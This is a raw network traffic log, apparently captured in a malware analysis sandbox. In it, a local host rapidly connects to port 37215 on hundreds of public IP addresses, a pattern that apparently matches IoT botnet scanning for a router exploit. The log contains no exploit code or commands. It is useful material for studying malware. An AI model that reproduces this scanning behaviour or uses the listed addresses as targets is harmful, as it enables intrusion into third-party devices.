Feb 20, 2022 16:02:42.569402933 CET	27477	37215	192.168.2.23	197.64.87.42
Feb 20, 2022 16:02:42.569567919 CET	27477	37215	192.168.2.23	197.28.102.222
Feb 20, 2022 16:02:42.569569111 CET	27477	37215	192.168.2.23	197.250.46.10
Feb 20, 2022 16:02:42.569576025 CET	27477	37215	192.168.2.23	197.69.53.152
Feb 20, 2022 16:02:42.569577932 CET	27477	37215	192.168.2.23	197.11.143.46
Feb 20, 2022 16:02:42.569581032 CET	27477	37215	192.168.2.23	197.6.175.235
Feb 20, 2022 16:02:42.569586039 CET	27477	37215	192.168.2.23	197.69.217.98
Feb 20, 2022 16:02:42.569602013 CET	27477	37215	192.168.2.23	197.19.218.157
Feb 20, 2022 16:02:42.569617987 CET	27477	37215	192.168.2.23	197.201.77.224
Feb 20, 2022 16:02:42.569648981 CET	27477	37215	192.168.2.23	197.27.102.134
Feb 20, 2022 16:02:42.569669962 CET	27477	37215	192.168.2.23	197.82.38.103
Feb 20, 2022 16:02:42.569833040 CET	27477	37215	192.168.2.23	197.59.64.43
Feb 20, 2022 16:02:42.569833994 CET	27477	37215	192.168.2.23	197.142.29.104
Feb 20, 2022 16:02:42.569835901 CET	27477	37215	192.168.2.23	197.48.132.86
Feb 20, 2022 16:02:42.569859028 CET	27477	37215	192.168.2.23	197.189.9.174
Feb 20, 2022 16:02:42.569875002 CET	27477	37215	192.168.2.23	197.58.220.252
Feb 20, 2022 16:02:42.569876909 CET	27477	37215	192.168.2.23	197.173.244.45
Feb 20, 2022 16:02:42.569879055 CET	27477	37215	192.168.2.23	197.94.152.196
Feb 20, 2022 16:02:42.569892883 CET	27477	37215	192.168.2.23	197.125.85.149
Feb 20, 2022 16:02:42.569895029 CET	27477	37215	192.168.2.23	197.44.207.228
Feb 20, 2022 16:02:42.569901943 CET	27477	37215	192.168.2.23	197.28.87.43
Feb 20, 2022 16:02:42.569924116 CET	27477	37215	192.168.2.23	197.156.125.5
Feb 20, 2022 16:02:42.569948912 CET	27477	37215	192.168.2.23	197.150.127.173
Feb 20, 2022 16:02:42.569971085 CET	27477	37215	192.168.2.23	197.254.36.144
Feb 20, 2022 16:02:42.570142984 CET	27477	37215	192.168.2.23	197.39.88.92
Feb 20, 2022 16:02:42.570147038 CET	27477	37215	192.168.2.23	197.206.27.217
Feb 20, 2022 16:02:42.570154905 CET	27477	37215	192.168.2.23	197.177.144.35
Feb 20, 2022 16:02:42.570171118 CET	27477	37215	192.168.2.23	197.254.117.58
Feb 20, 2022 16:02:42.570177078 CET	27477	37215	192.168.2.23	197.210.93.70
Feb 20, 2022 16:02:42.570193052 CET	27477	37215	192.168.2.23	197.66.0.31
Feb 20, 2022 16:02:42.570194006 CET	27477	37215	192.168.2.23	197.217.170.70
Feb 20, 2022 16:02:42.570194960 CET	27477	37215	192.168.2.23	197.251.123.15
Feb 20, 2022 16:02:42.570209026 CET	27477	37215	192.168.2.23	197.210.191.164
Feb 20, 2022 16:02:42.570210934 CET	27477	37215	192.168.2.23	197.27.44.181
Feb 20, 2022 16:02:42.570221901 CET	27477	37215	192.168.2.23	197.174.123.121
Feb 20, 2022 16:02:42.570242882 CET	27477	37215	192.168.2.23	197.62.128.185
Feb 20, 2022 16:02:42.570266008 CET	27477	37215	192.168.2.23	197.171.239.118
Feb 20, 2022 16:02:42.570293903 CET	27477	37215	192.168.2.23	197.63.120.22
Feb 20, 2022 16:02:42.570460081 CET	27477	37215	192.168.2.23	197.154.118.159
Feb 20, 2022 16:02:42.570473909 CET	27477	37215	192.168.2.23	197.222.241.235
Feb 20, 2022 16:02:42.570475101 CET	27477	37215	192.168.2.23	197.115.29.87
Feb 20, 2022 16:02:42.570477009 CET	27477	37215	192.168.2.23	197.218.28.28
Feb 20, 2022 16:02:42.570477962 CET	27477	37215	192.168.2.23	197.104.140.246
Feb 20, 2022 16:02:42.570478916 CET	27477	37215	192.168.2.23	197.100.14.241
Feb 20, 2022 16:02:42.570494890 CET	27477	37215	192.168.2.23	197.109.82.214
Feb 20, 2022 16:02:42.570496082 CET	27477	37215	192.168.2.23	197.20.193.138
Feb 20, 2022 16:02:42.570511103 CET	27477	37215	192.168.2.23	197.93.114.166
Feb 20, 2022 16:02:42.570513010 CET	27477	37215	192.168.2.23	197.197.228.195
Feb 20, 2022 16:02:42.570548058 CET	27477	37215	192.168.2.23	197.118.135.190
Feb 20, 2022 16:02:42.570571899 CET	27477	37215	192.168.2.23	197.148.186.29
Feb 20, 2022 16:02:42.570755959 CET	27477	37215	192.168.2.23	197.128.102.91
Feb 20, 2022 16:02:42.570761919 CET	27477	37215	192.168.2.23	197.30.177.241
Feb 20, 2022 16:02:42.570765972 CET	27477	37215	192.168.2.23	197.176.84.251
Feb 20, 2022 16:02:42.570765972 CET	27477	37215	192.168.2.23	197.252.100.242
Feb 20, 2022 16:02:42.570766926 CET	27477	37215	192.168.2.23	197.251.100.159
Feb 20, 2022 16:02:42.570790052 CET	27477	37215	192.168.2.23	197.230.36.129
Feb 20, 2022 16:02:42.570805073 CET	27477	37215	192.168.2.23	197.195.217.152
Feb 20, 2022 16:02:42.570810080 CET	27477	37215	192.168.2.23	197.155.196.165
Feb 20, 2022 16:02:42.570822001 CET	27477	37215	192.168.2.23	197.128.91.228
Feb 20, 2022 16:02:42.570827961 CET	27477	37215	192.168.2.23	197.188.0.49
Feb 20, 2022 16:02:42.570833921 CET	27477	37215	192.168.2.23	197.136.12.66
Feb 20, 2022 16:02:42.570843935 CET	27477	37215	192.168.2.23	197.250.231.155
Feb 20, 2022 16:02:42.570854902 CET	27477	37215	192.168.2.23	197.92.3.83
Feb 20, 2022 16:02:42.570872068 CET	27477	37215	192.168.2.23	197.177.127.24
Feb 20, 2022 16:02:42.570904970 CET	27477	37215	192.168.2.23	197.49.78.52
Feb 20, 2022 16:02:42.570915937 CET	27477	37215	192.168.2.23	197.6.133.151
Feb 20, 2022 16:02:42.570954084 CET	27477	37215	192.168.2.23	197.191.244.164
Feb 20, 2022 16:02:42.571094990 CET	27477	37215	192.168.2.23	197.28.5.108
Feb 20, 2022 16:02:42.571094990 CET	27477	37215	192.168.2.23	197.176.150.192
Feb 20, 2022 16:02:42.571105957 CET	27477	37215	192.168.2.23	197.84.80.147
Feb 20, 2022 16:02:42.571110964 CET	27477	37215	192.168.2.23	197.238.215.155
Feb 20, 2022 16:02:42.571125984 CET	27477	37215	192.168.2.23	197.60.8.4
Feb 20, 2022 16:02:42.571132898 CET	27477	37215	192.168.2.23	197.231.118.36
Feb 20, 2022 16:02:42.571146965 CET	27477	37215	192.168.2.23	197.95.116.37
Feb 20, 2022 16:02:42.571150064 CET	27477	37215	192.168.2.23	197.76.215.165
Feb 20, 2022 16:02:42.571165085 CET	27477	37215	192.168.2.23	197.175.16.70
Feb 20, 2022 16:02:42.571165085 CET	27477	37215	192.168.2.23	197.91.245.28
Feb 20, 2022 16:02:42.571178913 CET	27477	37215	192.168.2.23	197.181.98.205
Feb 20, 2022 16:02:42.571181059 CET	27477	37215	192.168.2.23	197.110.199.7
Feb 20, 2022 16:02:42.571202040 CET	27477	37215	192.168.2.23	197.73.39.112
Feb 20, 2022 16:02:42.571243048 CET	27477	37215	192.168.2.23	197.226.159.48
Feb 20, 2022 16:02:42.571293116 CET	27477	37215	192.168.2.23	197.10.29.80
Feb 20, 2022 16:02:42.571300983 CET	27477	37215	192.168.2.23	197.213.243.12
Feb 20, 2022 16:02:42.571322918 CET	27477	37215	192.168.2.23	197.155.93.98
Feb 20, 2022 16:02:42.571350098 CET	27477	37215	192.168.2.23	197.131.253.132
Feb 20, 2022 16:02:42.571403027 CET	27477	37215	192.168.2.23	197.25.184.172
Feb 20, 2022 16:02:42.571532965 CET	27477	37215	192.168.2.23	197.185.207.121
Feb 20, 2022 16:02:42.571535110 CET	27477	37215	192.168.2.23	197.61.68.147
Feb 20, 2022 16:02:42.571553946 CET	27477	37215	192.168.2.23	197.214.203.42
Feb 20, 2022 16:02:42.571556091 CET	27477	37215	192.168.2.23	197.185.175.128
Feb 20, 2022 16:02:42.571615934 CET	27477	37215	192.168.2.23	197.231.233.87
Feb 20, 2022 16:02:42.571616888 CET	27477	37215	192.168.2.23	197.203.176.109
Feb 20, 2022 16:02:42.571618080 CET	27477	37215	192.168.2.23	197.110.160.43
Feb 20, 2022 16:02:42.571628094 CET	27477	37215	192.168.2.23	197.72.59.94
Feb 20, 2022 16:02:42.571633101 CET	27477	37215	192.168.2.23	197.134.32.189
Feb 20, 2022 16:02:42.571645975 CET	27477	37215	192.168.2.23	197.209.250.223
Feb 20, 2022 16:02:42.571760893 CET	27477	37215	192.168.2.23	197.153.192.67
Feb 20, 2022 16:02:42.571789980 CET	27477	37215	192.168.2.23	197.48.219.171
Feb 20, 2022 16:02:42.571804047 CET	27477	37215	192.168.2.23	197.82.250.182
Feb 20, 2022 16:02:42.571830034 CET	27477	37215	192.168.2.23	197.249.1.110
Feb 20, 2022 16:02:42.571845055 CET	27477	37215	192.168.2.23	197.147.29.111
Feb 20, 2022 16:02:42.571851015 CET	27477	37215	192.168.2.23	197.115.76.65
Feb 20, 2022 16:02:42.571865082 CET	27477	37215	192.168.2.23	197.140.33.102
Feb 20, 2022 16:02:42.571894884 CET	27477	37215	192.168.2.23	197.250.32.76
Feb 20, 2022 16:02:42.571918011 CET	27477	37215	192.168.2.23	197.169.62.249
Feb 20, 2022 16:02:42.572088957 CET	27477	37215	192.168.2.23	197.17.208.111
Feb 20, 2022 16:02:42.572096109 CET	27477	37215	192.168.2.23	197.31.78.52
Feb 20, 2022 16:02:42.572101116 CET	27477	37215	192.168.2.23	197.80.189.47
Feb 20, 2022 16:02:42.572102070 CET	27477	37215	192.168.2.23	197.175.48.230
Feb 20, 2022 16:02:42.572103024 CET	27477	37215	192.168.2.23	197.17.56.249
Feb 20, 2022 16:02:42.572103977 CET	27477	37215	192.168.2.23	197.191.67.203
Feb 20, 2022 16:02:42.572118998 CET	27477	37215	192.168.2.23	197.219.164.89
Feb 20, 2022 16:02:42.572134972 CET	27477	37215	192.168.2.23	197.81.48.103
Feb 20, 2022 16:02:42.572137117 CET	27477	37215	192.168.2.23	197.80.168.103
Feb 20, 2022 16:02:42.572149992 CET	27477	37215	192.168.2.23	197.69.40.111
Feb 20, 2022 16:02:42.572154045 CET	27477	37215	192.168.2.23	197.187.241.9
Feb 20, 2022 16:02:42.572165966 CET	27477	37215	192.168.2.23	197.168.131.33
Feb 20, 2022 16:02:42.572182894 CET	27477	37215	192.168.2.23	197.137.56.244
Feb 20, 2022 16:02:42.572204113 CET	27477	37215	192.168.2.23	197.37.189.163
Feb 20, 2022 16:02:42.572232962 CET	27477	37215	192.168.2.23	197.167.164.208
Feb 20, 2022 16:02:42.572259903 CET	27477	37215	192.168.2.23	197.196.222.32
Feb 20, 2022 16:02:42.572416067 CET	27477	37215	192.168.2.23	197.118.70.134
Feb 20, 2022 16:02:42.572417974 CET	27477	37215	192.168.2.23	197.96.145.156
Feb 20, 2022 16:02:42.572422028 CET	27477	37215	192.168.2.23	197.77.59.148
Feb 20, 2022 16:02:42.572429895 CET	27477	37215	192.168.2.23	197.138.40.51
Feb 20, 2022 16:02:42.572432041 CET	27477	37215	192.168.2.23	197.207.251.36
Feb 20, 2022 16:02:42.572436094 CET	27477	37215	192.168.2.23	197.249.197.19
Feb 20, 2022 16:02:42.572441101 CET	27477	37215	192.168.2.23	197.63.149.154
Feb 20, 2022 16:02:42.572463989 CET	27477	37215	192.168.2.23	197.196.187.155
Feb 20, 2022 16:02:42.572465897 CET	27477	37215	192.168.2.23	197.163.155.190
Feb 20, 2022 16:02:42.572489023 CET	27477	37215	192.168.2.23	197.123.198.13
Feb 20, 2022 16:02:42.572519064 CET	27477	37215	192.168.2.23	197.166.234.134
Feb 20, 2022 16:02:42.572556019 CET	27477	37215	192.168.2.23	197.103.26.93
Feb 20, 2022 16:02:42.572700977 CET	27477	37215	192.168.2.23	197.17.248.171
Feb 20, 2022 16:02:42.572702885 CET	27477	37215	192.168.2.23	197.92.143.91
Feb 20, 2022 16:02:42.572727919 CET	27477	37215	192.168.2.23	197.175.109.7
Feb 20, 2022 16:02:42.572729111 CET	27477	37215	192.168.2.23	197.231.241.49
Feb 20, 2022 16:02:42.572729111 CET	27477	37215	192.168.2.23	197.208.248.41
Feb 20, 2022 16:02:42.572730064 CET	27477	37215	192.168.2.23	197.155.64.82
Feb 20, 2022 16:02:42.572731972 CET	27477	37215	192.168.2.23	197.108.56.14
Feb 20, 2022 16:02:42.572760105 CET	27477	37215	192.168.2.23	197.237.4.129
Feb 20, 2022 16:02:42.572774887 CET	27477	37215	192.168.2.23	197.242.49.181
Feb 20, 2022 16:02:42.572777987 CET	27477	37215	192.168.2.23	197.101.230.87
Feb 20, 2022 16:02:42.572782993 CET	27477	37215	192.168.2.23	197.171.245.223
Feb 20, 2022 16:02:42.572798967 CET	27477	37215	192.168.2.23	197.137.162.161
Feb 20, 2022 16:02:42.572807074 CET	27477	37215	192.168.2.23	197.229.121.205
Feb 20, 2022 16:02:42.572963953 CET	27477	37215	192.168.2.23	197.28.87.21
Feb 20, 2022 16:02:42.572977066 CET	27477	37215	192.168.2.23	197.245.14.234
Feb 20, 2022 16:02:42.572983027 CET	27477	37215	192.168.2.23	197.135.77.115
Feb 20, 2022 16:02:42.572985888 CET	27477	37215	192.168.2.23	197.80.158.150
Feb 20, 2022 16:02:42.572997093 CET	27477	37215	192.168.2.23	197.166.83.73
Feb 20, 2022 16:02:42.573002100 CET	27477	37215	192.168.2.23	197.168.73.199
Feb 20, 2022 16:02:42.573014021 CET	27477	37215	192.168.2.23	197.159.132.46
Feb 20, 2022 16:02:42.573019981 CET	27477	37215	192.168.2.23	197.136.174.156
Feb 20, 2022 16:02:42.573021889 CET	27477	37215	192.168.2.23	197.72.101.223
Feb 20, 2022 16:02:42.573035955 CET	27477	37215	192.168.2.23	197.37.111.96
Feb 20, 2022 16:02:42.573038101 CET	27477	37215	192.168.2.23	197.117.28.150
Feb 20, 2022 16:02:42.573070049 CET	27477	37215	192.168.2.23	197.158.127.119
Feb 20, 2022 16:02:42.573082924 CET	27477	37215	192.168.2.23	197.62.244.229
Feb 20, 2022 16:02:42.573107958 CET	27477	37215	192.168.2.23	197.143.250.144
Feb 20, 2022 16:02:42.573263884 CET	27477	37215	192.168.2.23	197.33.168.126
Feb 20, 2022 16:02:42.573271990 CET	27477	37215	192.168.2.23	197.60.166.61
Feb 20, 2022 16:02:42.573273897 CET	27477	37215	192.168.2.23	197.142.3.3
Feb 20, 2022 16:02:42.573277950 CET	27477	37215	192.168.2.23	197.167.155.213
Feb 20, 2022 16:02:42.573280096 CET	27477	37215	192.168.2.23	197.25.35.84
Feb 20, 2022 16:02:42.573296070 CET	27477	37215	192.168.2.23	197.135.248.179
Feb 20, 2022 16:02:42.573304892 CET	27477	37215	192.168.2.23	197.145.245.87
Feb 20, 2022 16:02:42.573307037 CET	27477	37215	192.168.2.23	197.202.62.28
Feb 20, 2022 16:02:42.573322058 CET	27477	37215	192.168.2.23	197.207.3.207
Feb 20, 2022 16:02:42.573323965 CET	27477	37215	192.168.2.23	197.142.34.65
Feb 20, 2022 16:02:42.573342085 CET	27477	37215	192.168.2.23	197.203.214.160
Feb 20, 2022 16:02:42.576561928 CET	37215	27221	197.128.143.247	192.168.2.23
Feb 20, 2022 16:02:42.609951019 CET	37215	27221	197.9.28.129	192.168.2.23
Feb 20, 2022 16:02:42.610017061 CET	27221	37215	192.168.2.23	197.9.28.129
Feb 20, 2022 16:02:42.610158920 CET	37215	27221	197.9.28.129	192.168.2.23
Feb 20, 2022 16:02:42.613760948 CET	37215	27221	197.153.15.65	192.168.2.23
Feb 20, 2022 16:02:42.631741047 CET	37215	27221	197.131.164.175	192.168.2.23
Feb 20, 2022 16:02:42.640532017 CET	37215	27477	197.9.142.180	192.168.2.23
Feb 20, 2022 16:02:42.642693996 CET	37215	27477	197.8.219.210	192.168.2.23
Feb 20, 2022 16:02:42.642723083 CET	37215	27477	197.8.219.210	192.168.2.23
Feb 20, 2022 16:02:42.642751932 CET	27477	37215	192.168.2.23	197.8.219.210
Feb 20, 2022 16:02:42.646768093 CET	37215	27477	197.2.41.12	192.168.2.23
Feb 20, 2022 16:02:42.653992891 CET	37215	27477	197.6.133.151	192.168.2.23
Feb 20, 2022 16:02:42.654633999 CET	37215	27477	197.9.153.70	192.168.2.23
Feb 20, 2022 16:02:42.655213118 CET	37215	27221	197.4.220.221	192.168.2.23
Feb 20, 2022 16:02:42.655589104 CET	37215	27477	197.131.229.221	192.168.2.23
Feb 20, 2022 16:02:42.656585932 CET	37215	27477	197.238.214.164	192.168.2.23
Feb 20, 2022 16:02:42.656647921 CET	27477	37215	192.168.2.23	197.238.214.164
Feb 20, 2022 16:02:42.672019005 CET	37215	27221	197.253.107.90	192.168.2.23
Feb 20, 2022 16:02:42.672185898 CET	27221	37215	192.168.2.23	197.253.107.90
Feb 20, 2022 16:02:42.672426939 CET	37215	27477	197.246.214.65	192.168.2.23
Feb 20, 2022 16:02:42.676363945 CET	37215	27221	197.130.154.205	192.168.2.23
Feb 20, 2022 16:02:42.679861069 CET	37215	22483	181.101.36.252	192.168.2.23
Feb 20, 2022 16:02:42.682861090 CET	37215	27477	197.130.109.254	192.168.2.23
Feb 20, 2022 16:02:42.694633007 CET	37215	27477	197.253.111.247	192.168.2.23
Feb 20, 2022 16:02:42.694793940 CET	27477	37215	192.168.2.23	197.253.111.247
Feb 20, 2022 16:02:42.699377060 CET	37215	27477	197.253.118.101	192.168.2.23
Feb 20, 2022 16:02:42.699456930 CET	27477	37215	192.168.2.23	197.253.118.101
Feb 20, 2022 16:02:42.703917027 CET	37215	27477	197.159.132.46	192.168.2.23
Feb 20, 2022 16:02:42.704340935 CET	37215	27221	197.84.1.84	192.168.2.23
Feb 20, 2022 16:02:42.707634926 CET	37215	27221	197.129.153.185	192.168.2.23
Feb 20, 2022 16:02:42.710593939 CET	37215	27221	197.149.180.81	192.168.2.23
Feb 20, 2022 16:02:42.718405962 CET	37215	27221	197.254.107.72	192.168.2.23
Feb 20, 2022 16:02:42.719774008 CET	37215	27477	197.210.200.178	192.168.2.23
Feb 20, 2022 16:02:42.723237991 CET	37215	27477	197.210.191.164	192.168.2.23
Feb 20, 2022 16:02:42.727092981 CET	37215	27477	197.157.64.57	192.168.2.23
Feb 20, 2022 16:02:42.727235079 CET	37215	27221	197.8.245.249	192.168.2.23
Feb 20, 2022 16:02:42.743748903 CET	37215	27221	197.248.208.219	192.168.2.23
Feb 20, 2022 16:02:42.744524002 CET	37215	27221	197.234.172.73	192.168.2.23
Feb 20, 2022 16:02:42.770113945 CET	37215	27221	197.211.211.169	192.168.2.23
Feb 20, 2022 16:02:42.777744055 CET	37215	27477	197.100.14.241	192.168.2.23
Feb 20, 2022 16:02:42.780611038 CET	37215	27477	197.211.205.161	192.168.2.23
Feb 20, 2022 16:02:42.795700073 CET	37215	27477	197.234.82.7	192.168.2.23
Feb 20, 2022 16:02:42.813096046 CET	37215	27221	197.234.117.255	192.168.2.23
Feb 20, 2022 16:02:42.946937084 CET	37215	27477	197.9.181.179	192.168.2.23
Feb 20, 2022 16:02:42.967880011 CET	37215	27221	197.131.48.206	192.168.2.23
Feb 20, 2022 16:02:43.020709991 CET	37215	27477	197.129.35.134	192.168.2.23
Feb 20, 2022 16:02:43.058284998 CET	23	42824	200.60.71.14	192.168.2.23
Feb 20, 2022 16:02:43.215784073 CET	42516	80	192.168.2.23	109.202.202.202
Feb 20, 2022 16:02:43.310292006 CET	37215	27221	197.9.171.35	192.168.2.23
Feb 20, 2022 16:02:43.374897957 CET	37215	27477	197.128.91.228	192.168.2.23
Feb 20, 2022 16:02:43.386949062 CET	37215	27477	197.9.133.195	192.168.2.23
Feb 20, 2022 16:02:43.451203108 CET	37215	27477	197.131.253.132	192.168.2.23
Feb 20, 2022 16:02:43.563911915 CET	27221	37215	192.168.2.23	41.255.64.34
Feb 20, 2022 16:02:43.563999891 CET	27221	37215	192.168.2.23	41.45.175.26
Feb 20, 2022 16:02:43.564024925 CET	27221	37215	192.168.2.23	41.20.30.148
Feb 20, 2022 16:02:43.564054012 CET	27221	37215	192.168.2.23	41.52.32.52
Feb 20, 2022 16:02:43.564105034 CET	27221	37215	192.168.2.23	41.42.252.202
Feb 20, 2022 16:02:43.564187050 CET	27221	37215	192.168.2.23	41.139.154.139
Feb 20, 2022 16:02:43.564249992 CET	27221	37215	192.168.2.23	41.170.15.19
Feb 20, 2022 16:02:43.564321041 CET	27221	37215	192.168.2.23	41.60.61.132
Feb 20, 2022 16:02:43.564388037 CET	27221	37215	192.168.2.23	41.250.164.141
Feb 20, 2022 16:02:43.564470053 CET	27221	37215	192.168.2.23	41.69.91.60
Feb 20, 2022 16:02:43.564521074 CET	27221	37215	192.168.2.23	41.29.133.218
Feb 20, 2022 16:02:43.564582109 CET	27221	37215	192.168.2.23	41.20.71.51
Feb 20, 2022 16:02:43.564627886 CET	27221	37215	192.168.2.23	41.216.0.101
Feb 20, 2022 16:02:43.564683914 CET	27221	37215	192.168.2.23	41.255.61.35
Feb 20, 2022 16:02:43.564742088 CET	27221	37215	192.168.2.23	41.80.60.18
Feb 20, 2022 16:02:43.564827919 CET	27221	37215	192.168.2.23	41.137.76.105
Feb 20, 2022 16:02:43.564949989 CET	27221	37215	192.168.2.23	41.243.99.35
Feb 20, 2022 16:02:43.564958096 CET	27221	37215	192.168.2.23	41.63.93.150
Feb 20, 2022 16:02:43.565021992 CET	27221	37215	192.168.2.23	41.142.183.6
Feb 20, 2022 16:02:43.565098047 CET	27221	37215	192.168.2.23	41.210.136.100
Feb 20, 2022 16:02:43.565162897 CET	27221	37215	192.168.2.23	41.171.54.83
Feb 20, 2022 16:02:43.565227985 CET	27221	37215	192.168.2.23	41.158.13.253
Feb 20, 2022 16:02:43.565303087 CET	27221	37215	192.168.2.23	41.25.5.136
Feb 20, 2022 16:02:43.565360069 CET	27221	37215	192.168.2.23	41.218.2.113
Feb 20, 2022 16:02:43.565426111 CET	27221	37215	192.168.2.23	41.22.41.206
Feb 20, 2022 16:02:43.565485001 CET	27221	37215	192.168.2.23	41.92.139.19
Feb 20, 2022 16:02:43.565562963 CET	27221	37215	192.168.2.23	41.142.102.244
Feb 20, 2022 16:02:43.565617085 CET	27221	37215	192.168.2.23	41.251.174.55
Feb 20, 2022 16:02:43.565704107 CET	27221	37215	192.168.2.23	41.171.65.86
Feb 20, 2022 16:02:43.565753937 CET	27221	37215	192.168.2.23	41.40.127.56
Feb 20, 2022 16:02:43.565805912 CET	27221	37215	192.168.2.23	41.222.79.81
Feb 20, 2022 16:02:43.565901995 CET	27221	37215	192.168.2.23	41.197.26.139
Feb 20, 2022 16:02:43.565953016 CET	27221	37215	192.168.2.23	41.243.137.193
Feb 20, 2022 16:02:43.566005945 CET	27221	37215	192.168.2.23	41.109.181.208
Feb 20, 2022 16:02:43.566080093 CET	27221	37215	192.168.2.23	41.176.105.65
Feb 20, 2022 16:02:43.566148043 CET	27221	37215	192.168.2.23	41.210.151.64
Feb 20, 2022 16:02:43.566226006 CET	27221	37215	192.168.2.23	41.36.97.28
Feb 20, 2022 16:02:43.566277027 CET	27221	37215	192.168.2.23	41.223.241.78
Feb 20, 2022 16:02:43.566349030 CET	27221	37215	192.168.2.23	41.170.175.120
Feb 20, 2022 16:02:43.566407919 CET	27221	37215	192.168.2.23	41.14.120.78
Feb 20, 2022 16:02:43.566476107 CET	27221	37215	192.168.2.23	41.171.94.235
Feb 20, 2022 16:02:43.566551924 CET	27221	37215	192.168.2.23	41.214.225.102
Feb 20, 2022 16:02:43.566601038 CET	27221	37215	192.168.2.23	41.233.15.150
Feb 20, 2022 16:02:43.566656113 CET	27221	37215	192.168.2.23	41.165.175.43
Feb 20, 2022 16:02:43.566720963 CET	27221	37215	192.168.2.23	41.138.201.208
Feb 20, 2022 16:02:43.566778898 CET	27221	37215	192.168.2.23	41.74.233.65
Feb 20, 2022 16:02:43.566854954 CET	27221	37215	192.168.2.23	41.34.213.212
Feb 20, 2022 16:02:43.566926956 CET	27221	37215	192.168.2.23	41.245.89.37
Feb 20, 2022 16:02:43.567049026 CET	27221	37215	192.168.2.23	41.187.252.141
Feb 20, 2022 16:02:43.567060947 CET	27221	37215	192.168.2.23	41.246.166.26
Feb 20, 2022 16:02:43.567115068 CET	27221	37215	192.168.2.23	41.52.109.160
Feb 20, 2022 16:02:43.567212105 CET	27221	37215	192.168.2.23	41.199.19.164
Feb 20, 2022 16:02:43.567253113 CET	27221	37215	192.168.2.23	41.206.166.190
Feb 20, 2022 16:02:43.567315102 CET	27221	37215	192.168.2.23	41.36.225.99
Feb 20, 2022 16:02:43.567387104 CET	27221	37215	192.168.2.23	41.126.117.150
Feb 20, 2022 16:02:43.567451000 CET	27221	37215	192.168.2.23	41.108.46.43
Feb 20, 2022 16:02:43.567514896 CET	27221	37215	192.168.2.23	41.148.144.102
Feb 20, 2022 16:02:43.567579031 CET	27221	37215	192.168.2.23	41.32.102.100
Feb 20, 2022 16:02:43.567687988 CET	27221	37215	192.168.2.23	41.18.36.191
Feb 20, 2022 16:02:43.567703962 CET	27221	37215	192.168.2.23	41.28.244.67
Feb 20, 2022 16:02:43.567775965 CET	27221	37215	192.168.2.23	41.92.232.61
Feb 20, 2022 16:02:43.567853928 CET	27221	37215	192.168.2.23	41.207.51.244
Feb 20, 2022 16:02:43.567945004 CET	27221	37215	192.168.2.23	41.137.136.60
Feb 20, 2022 16:02:43.567966938 CET	27221	37215	192.168.2.23	41.8.243.106
Feb 20, 2022 16:02:43.568039894 CET	27221	37215	192.168.2.23	41.203.96.169
Feb 20, 2022 16:02:43.568114996 CET	27221	37215	192.168.2.23	41.204.129.241
Feb 20, 2022 16:02:43.568223953 CET	27221	37215	192.168.2.23	41.46.94.77
Feb 20, 2022 16:02:43.568247080 CET	27221	37215	192.168.2.23	41.153.251.164
Feb 20, 2022 16:02:43.568321943 CET	27221	37215	192.168.2.23	41.14.128.162
Feb 20, 2022 16:02:43.568387985 CET	27221	37215	192.168.2.23	41.155.37.186
Feb 20, 2022 16:02:43.568486929 CET	27221	37215	192.168.2.23	41.80.68.162
Feb 20, 2022 16:02:43.568507910 CET	27221	37215	192.168.2.23	41.138.60.132
Feb 20, 2022 16:02:43.568564892 CET	27221	37215	192.168.2.23	41.141.43.156
Feb 20, 2022 16:02:43.568635941 CET	27221	37215	192.168.2.23	41.20.235.124
Feb 20, 2022 16:02:43.568697929 CET	27221	37215	192.168.2.23	41.161.245.228
Feb 20, 2022 16:02:43.568752050 CET	27221	37215	192.168.2.23	41.230.22.209
Feb 20, 2022 16:02:43.568803072 CET	27221	37215	192.168.2.23	41.193.27.59
Feb 20, 2022 16:02:43.568857908 CET	27221	37215	192.168.2.23	41.22.39.78
Feb 20, 2022 16:02:43.568931103 CET	27221	37215	192.168.2.23	41.206.47.173
Feb 20, 2022 16:02:43.568988085 CET	27221	37215	192.168.2.23	41.55.32.204
Feb 20, 2022 16:02:43.569045067 CET	27221	37215	192.168.2.23	41.57.91.162
Feb 20, 2022 16:02:43.569093943 CET	27221	37215	192.168.2.23	41.134.114.196
Feb 20, 2022 16:02:43.569166899 CET	27221	37215	192.168.2.23	41.199.118.103
Feb 20, 2022 16:02:43.569225073 CET	27221	37215	192.168.2.23	41.239.115.58
Feb 20, 2022 16:02:43.569314003 CET	27221	37215	192.168.2.23	41.156.168.54
Feb 20, 2022 16:02:43.569370985 CET	27221	37215	192.168.2.23	41.106.114.207
Feb 20, 2022 16:02:43.569433928 CET	27221	37215	192.168.2.23	41.194.233.234
Feb 20, 2022 16:02:43.569488049 CET	27221	37215	192.168.2.23	41.86.24.23
Feb 20, 2022 16:02:43.569580078 CET	27221	37215	192.168.2.23	41.135.122.147
Feb 20, 2022 16:02:43.569639921 CET	27221	37215	192.168.2.23	41.140.162.62
Feb 20, 2022 16:02:43.569694996 CET	27221	37215	192.168.2.23	41.9.155.78
Feb 20, 2022 16:02:43.569801092 CET	27221	37215	192.168.2.23	41.202.133.90
Feb 20, 2022 16:02:43.569811106 CET	27221	37215	192.168.2.23	41.181.204.23
Feb 20, 2022 16:02:43.569883108 CET	27221	37215	192.168.2.23	41.53.136.88
Feb 20, 2022 16:02:43.569945097 CET	27221	37215	192.168.2.23	41.4.228.214
Feb 20, 2022 16:02:43.570030928 CET	27221	37215	192.168.2.23	41.60.43.143
Feb 20, 2022 16:02:43.570087910 CET	27221	37215	192.168.2.23	41.148.80.71
Feb 20, 2022 16:02:43.570163012 CET	27221	37215	192.168.2.23	41.36.135.159
Feb 20, 2022 16:02:43.570226908 CET	27221	37215	192.168.2.23	41.50.100.232
Feb 20, 2022 16:02:43.570292950 CET	27221	37215	192.168.2.23	41.107.176.240
Feb 20, 2022 16:02:43.570348024 CET	27221	37215	192.168.2.23	41.226.212.158
Feb 20, 2022 16:02:43.570415020 CET	27221	37215	192.168.2.23	41.189.48.39
Feb 20, 2022 16:02:43.570467949 CET	27221	37215	192.168.2.23	41.100.204.53
Feb 20, 2022 16:02:43.570518970 CET	27221	37215	192.168.2.23	41.193.247.147
Feb 20, 2022 16:02:43.570584059 CET	27221	37215	192.168.2.23	41.63.33.108
Feb 20, 2022 16:02:43.570641041 CET	27221	37215	192.168.2.23	41.92.118.16
Feb 20, 2022 16:02:43.570717096 CET	27221	37215	192.168.2.23	41.135.183.161
Feb 20, 2022 16:02:43.570775032 CET	27221	37215	192.168.2.23	41.47.82.62
Feb 20, 2022 16:02:43.570839882 CET	27221	37215	192.168.2.23	41.107.217.172
Feb 20, 2022 16:02:43.570909977 CET	27221	37215	192.168.2.23	41.213.167.160
